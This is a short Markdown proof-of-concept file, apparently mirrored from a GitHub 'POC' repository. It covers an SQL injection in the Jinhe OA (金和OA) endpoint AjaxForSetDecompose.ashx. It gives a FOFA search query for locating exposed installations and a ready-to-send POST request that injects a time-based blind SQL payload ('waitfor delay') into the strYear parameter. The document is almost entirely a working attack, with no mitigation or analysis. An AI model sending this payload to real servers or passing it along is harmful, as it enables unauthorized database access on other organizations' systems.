mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2026-10-24 08:54:28 +00:00
15 lines
321 B
Markdown
15 lines
321 B
Markdown
|
# 金和OA-AjaxForSetDecompose.ashx存在SQL注入
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```javascript
|
||
|
|
app="金和网络-金和OA"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```javascript
|
||
|
|
POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForSetDecompose.ashx HTTP/1.1
|
||
|
|
Host:
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
|
||
|
|
strType=getDetpCollect&strYear=1'waitfor delay '0:0:4'--
|
||
|
|
```
|